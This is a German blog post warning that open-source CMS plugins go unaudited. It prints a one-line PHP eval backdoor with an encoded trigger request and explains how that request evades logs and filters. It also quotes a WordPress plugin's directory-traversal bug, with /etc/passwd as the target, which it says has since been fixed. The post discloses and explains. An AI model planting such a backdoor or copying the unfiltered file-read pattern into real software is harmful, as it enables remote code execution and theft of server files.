if (isset($_POST['t'])) eval(base64_decode(str_rot13($_POST['t'])));

In dem WordPress-Plugin welches ich hier für das Syntax-Highlighting benutze (WP-Syntax (wordpress.org)) stecken 192 php-Dateien, mit zusammen 55.009 Zeilen Code. Würde man darin die obige eine Zeile Code verstecken und via dem folgenden Request ansprechen

http://domain/pfad-zur/manipulierten-datei.php
[POST]
t=pTujnJ5zoltcBj==

so bekäme man die Server-Einstellungen zu dem installierten PHP angezeigt.

(POST-Request, damit es nicht in den Logfiles des Servers auftaucht und base64- und ROT13-kodiert, um mögliche Filter, die vor Angriffen schützen sollen, unbehelligt zu durchlaufen.)


Worauf ich hinaus will?

Bei Open Source haben wir zwar, im Gegensatz zu Closed Source, die Möglichkeit in die Quellen reinzuschauen, aber machen wir dies auch? Also, ich habe mir die 55.009 Zeilen Code in den 192 Dateien des einen Plugins nicht gründlich genug angeschaut, um 100% ausschließen zu können, dass darin ein Trojaner versteckt ist. ;O)

Wer es darauf anlegt Schadcode unters Volk zu bringen, der hat relativ leichtes Spiel. Nur zu bereitwillig werden Templates oder Plugins in einem CMS ungeprüft installiert.

Nur das Ausprobieren eines Plugins oder Templates könnte ein CMS mit einem Trojaner infizieren, indem beim einmaligen Aufruf eine Datei die zu dem System gehört um entsprechenden Code erweitert wird. Auch wenn das Plugin oder Template wieder gelöscht wird — der Schadcode ist im System.

Bekannte und weit verbreitete Projekte sind zwar grundsätzlich vor solchen Angriffen nicht gefeit, aber um so mehr Benutzer es gibt, und somit Leute die auch in den Code hineinschauen, um so eher besteht die Chance dass eine Manipulation auffliegt. Auch in solchen Projekten kann ein Angreifer zum Erfolg kommen, wenn beispielsweise ein Teammitglied vorsätzlich Sicherheitslücken einbaut. Wird seine “Sicherheitslücke” bekannt, so kann er sich damit herausreden dass er einfach nur schludrig gearbeitet hat.

Eine echte Lösung des Problems gibt es nicht. Man kann nur darauf achten die Quellen für Downloads mit Bedacht auszuwählen, was leider… “SourceForge schaltet Server nach Einbruch ab” (heise.de)


Update: 21.03.2011 – 17:05 Uhr

“Wiki-Server der PHP-Entwickler gehackt” (heise.de)

20.02.2011:
“WordPress Plugin — jQuery Drop Down Mega Menu Widget” (designchemical.com)

25.02.2011:
“jQuery Plugin – Mega Drop Down Menu” (designchemical.com)

25.02.2011:
“jQuery Mega Menu 1.0 WordPress Plugin Local File Inclusion” (exploit-db.com)


In der Beschreibung des Exploits steht zwar “Local File Inclusion” aber es handelt sich in diesem Fall eher um Directory Traversal (de.wikipedia.org), da die Datei nicht ausgeführt, sondern “nur” angezeigt wird.

Unter Directory Traversal versteht man eine Sicherheitslücke in Web-Programmen wie z. B. einem Webserver oder einer Webanwendung, bei der durch Manipulation von Pfadangaben auf beliebige Dateien und Verzeichnisse zugegriffen werden kann, die dafür eigentlich nicht vorgesehen waren. Diese kann so ausgenutzt werden, dass sensible Daten wie Passwörter preisgegeben werden.

Der Klassiker unter den Beispielen für Directory Traversal ist /etc/passwd. In der versteckten .htaccess finden wir einen Hinweis wo die php.ini zu finden ist, usw. usw. Kennt man sich etwas mit dem System aus welches man angreift, so kann man in kürzester Zeit an die sicherheitskritischen Informationen gelangen.


Das eigentliche Problem des Plugins steckt in der skin.php:

header("Content-type: text/css");
 
$id = $_GET['widget_id'];
$skin = $_GET['skin'];
 
if(!empty($skin)){	
   $css = file_get_contents('./skins/' . $skin );
   $widget_skin = preg_replace('/%ID%/',$id, $css);
   echo $widget_skin;
}

Der Inhalt aus $skin wird ungefiltert übernommen.


Seit ein paar Minuten gibt es eine neue Version, in der die Lücke behoben ist. Dieser Entwickler hat schnell reagiert, evtl. aufgrund meines Hinweises.

Aber grundsätzlich wird deutlich, dass man sich sehr schnell Schwachstellen in sein System bauen kann, weil es einfach zu viele nicht vertrauenswürdige Quellen für Software gibt. Open Source hilft hier schnell die Lücke zu finden, aber es ist kein Garant dafür dass sich überhaupt jemand die Mühe macht in fremden Code nach Sicherheitslücken zu schauen.